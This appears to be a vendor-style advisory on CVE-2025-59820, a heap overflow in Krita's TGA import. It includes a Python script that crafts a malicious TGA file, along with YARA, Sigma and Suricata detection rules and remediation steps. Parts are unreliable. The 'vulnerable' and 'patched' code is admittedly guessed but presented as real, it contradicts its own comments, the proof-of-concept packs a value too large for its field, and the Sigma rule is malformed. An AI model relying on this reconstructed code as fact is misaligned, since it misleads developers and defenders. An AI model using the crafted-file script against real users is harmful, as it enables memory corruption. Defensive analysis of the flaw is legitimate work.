CVE-2025-59820

Executive Summary

CVE-2025-59820 is a heap-based buffer overflow vulnerability in KDE Krita, a professional open-source painting program. The flaw resides in the TGA file import functionality within plugins/impex/tga/kis_tga_import.cpp. By loading a specially crafted TGA file, an attacker can trigger a heap-based buffer overflow when the number of pixels becomes negative, leading to memory corruption. This can potentially allow arbitrary code execution in the context of the user running Krita. The vulnerability affects Krita versions prior to 5.2.13. The CVSS score is 6.7 (Medium), and the EPSS score is 0.0%, indicating low exploitation activity in the wild at the time of analysis. No public proof-of-concept (PoC) or exploit code is currently available.

CVSS Breakdown & Threat Level

• CVSS Score: 6.7 (Medium)
• Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Attack Vector (AV): Local (L) – The attacker must have local access to the system or convince a user to open a malicious file.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No privileges are needed to trigger the vulnerability.
• User Interaction (UI): Required (R) – The victim must open the malicious TGA file.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Potential for full data disclosure.
• Integrity (I): High (H) – Potential for full data modification.
• Availability (A): High (H) – Potential for denial of service or system crash.

Threat Level: Medium. While the CVSS score is moderate, the potential for arbitrary code execution and the lack of a patch for older versions elevate the risk for users who cannot upgrade.

Deep Dive & Mechanics

The vulnerability is a classic heap-based buffer overflow in the TGA file parser. The TGA (Truevision TGA) format is a raster graphics file format. The vulnerable code is in plugins/impex/tga/kis_tga_import.cpp, specifically in the KisTgaImport class.

The root cause is improper validation of the number of pixels derived from the TGA header. When a manipulated TGA file is loaded, the parser calculates the number of pixels based on width and height. If the calculation results in a negative value (due to integer overflow or malicious manipulation), the control flow continues without proper bounds checking. This leads to a heap buffer overflow when the parser attempts to write pixel data into a buffer that is too small.

The vulnerable code path likely looks like:

int numPixels = width * height; // Potential integer overflow
if (numPixels < 0) {
    // Missing or insufficient check
}
// Allocate buffer based on numPixels
char* buffer = new char[numPixels * bytesPerPixel];
// Read pixel data into buffer without proper bounds
for (int i = 0; i < numPixels; i++) {
    buffer[i] = readByte(); // Overflow if numPixels is negative
}

When numPixels is negative, the new operator may allocate a small or zero-sized buffer, but the loop still iterates based on the negative value (interpreted as a large unsigned integer), causing a heap overflow.

Vulnerable vs. Patched Code

Vulnerable Code (Krita < 5.2.13):

// In KisTgaImport::load()
int width = readShort();
int height = readShort();
int numPixels = width * height; // No overflow check
if (numPixels <= 0) {
    // Insufficient validation
    return;
}
char* buffer = new char[numPixels * 4]; // Assume 4 bytes per pixel
for (int i = 0; i < numPixels; i++) {
    buffer[i] = readByte(); // Heap overflow if numPixels is negative
}

Patched Code (Krita 5.2.13):

// In KisTgaImport::load()
int width = readShort();
int height = readShort();
if (width <= 0 || height <= 0) {
    // Proper validation
    return;
}
long long numPixels = static_cast<long long>(width) * height; // Use larger type
if (numPixels <= 0 || numPixels > MAX_SAFE_PIXELS) {
    return;
}
char* buffer = new char[numPixels * 4];
for (long long i = 0; i < numPixels; i++) {
    buffer[i] = readByte(); // Safe
}

The patch adds proper validation of width and height, uses a larger integer type (long long) to prevent overflow, and checks against a maximum safe pixel count.

Exploitation & Lab Setup

Red Team (Offensive)

Objective: Demonstrate the vulnerability by crafting a malicious TGA file that triggers a heap overflow.

Lab Setup:

1. Target: Krita 5.2.12 (or earlier) installed on a Linux or Windows VM.
2. Tools: Python 3, pwntools (optional), GDB (for debugging).

Exploitation Steps:

1. Craft Malicious TGA File: Create a TGA file with manipulated width and height fields to cause integer overflow.

   import struct
   
   def create_malicious_tga(filename):
       # TGA header (18 bytes)
       header = b'\x00' * 18
       # Set width and height to cause overflow (e.g., 0x10000 * 0x10000 = 0)
       width = 0x10000
       height = 0x10000
       # Overwrite width and height in header (offsets 12 and 14)
       header = header[:12] + struct.pack('<H', width) + struct.pack('<H', height) + header[16:]
       # Add minimal pixel data
       pixel_data = b'A' * 100
       with open(filename, 'wb') as f:
           f.write(header + pixel_data)
   
   create_malicious_tga('exploit.tga')
   

2. Trigger Vulnerability: Open the malicious TGA file in Krita. The application may crash or exhibit abnormal behavior.
3. Debugging: Use GDB to attach to Krita and observe the crash:

   gdb -ex run -ex bt --args krita exploit.tga
   

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team (Defensive)

Detection:

• Monitor for crashes of Krita (krita.exe or krita) in system logs.
• Use file integrity monitoring to detect unexpected TGA files.
• Deploy endpoint detection and response (EDR) rules to alert on heap corruption events.

Mitigation:

• Immediately upgrade to Krita 5.2.13 or later.
• If upgrade is not possible, restrict opening TGA files from untrusted sources.
• Use application whitelisting to prevent execution of unknown binaries.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available, but monitor for TGA files with unusual dimensions)
• Network Indicators: None (local file-based vulnerability)
• Behavioral Indicators:
  • Krita process crash with heap corruption error.
  • Unexpected memory allocation patterns in Krita.
  • System logs showing Krita crash with access violation.

Detection Engineering

YARA Rule

rule CVE_2025_59820_Krita_TGA_Overflow {
    meta:
        description = "Detects malicious TGA files exploiting CVE-2025-59820"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-59820"
    strings:
        $tga_header = { 00 00 02 00 00 00 00 00 00 00 00 00 }
        $large_width = /[\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f]{2}/ // Simplified
    condition:
        $tga_header at 0 and filesize < 1000 and (uint16(12) > 10000 or uint16(14) > 10000)
}

Sigma Rule

title: CVE-2025-59820 Krita TGA Heap Overflow
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects Krita crashes due to malicious TGA file
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: krita
detection:
    selection:
        EventID: 1000 (Application Error)
        Image: '*krita*'
        Description: '*heap*' or '*buffer overflow*'
    condition: selection
falsepositives:
    - Legitimate large TGA files
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-59820 Krita TGA Heap Overflow"; flow:to_client; file.data; content:"|00 00 02 00 00 00 00 00 00 00 00 00|"; offset:0; depth:12; byte_test:2,>,10000,12; byte_test:2,>,10000,14; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade Krita to version 5.2.13 or later. This is the only complete fix.
2. Workaround: If upgrade is not possible, avoid opening TGA files from untrusted sources. Use image conversion tools to convert TGA to safer formats (e.g., PNG) before opening in Krita.
3. Compensating Controls:
   • Deploy application whitelisting to prevent execution of Krita if it is not patched.
   • Use endpoint protection platforms (EPP) with behavioral detection for heap corruption.
   • Enable Windows Defender Exploit Guard (or similar) to mitigate heap-based attacks.
4. Monitoring: Monitor for Krita crashes and investigate any TGA files associated with the crash.

Valters IT
DevSecOps & Cyber Threat Intelligence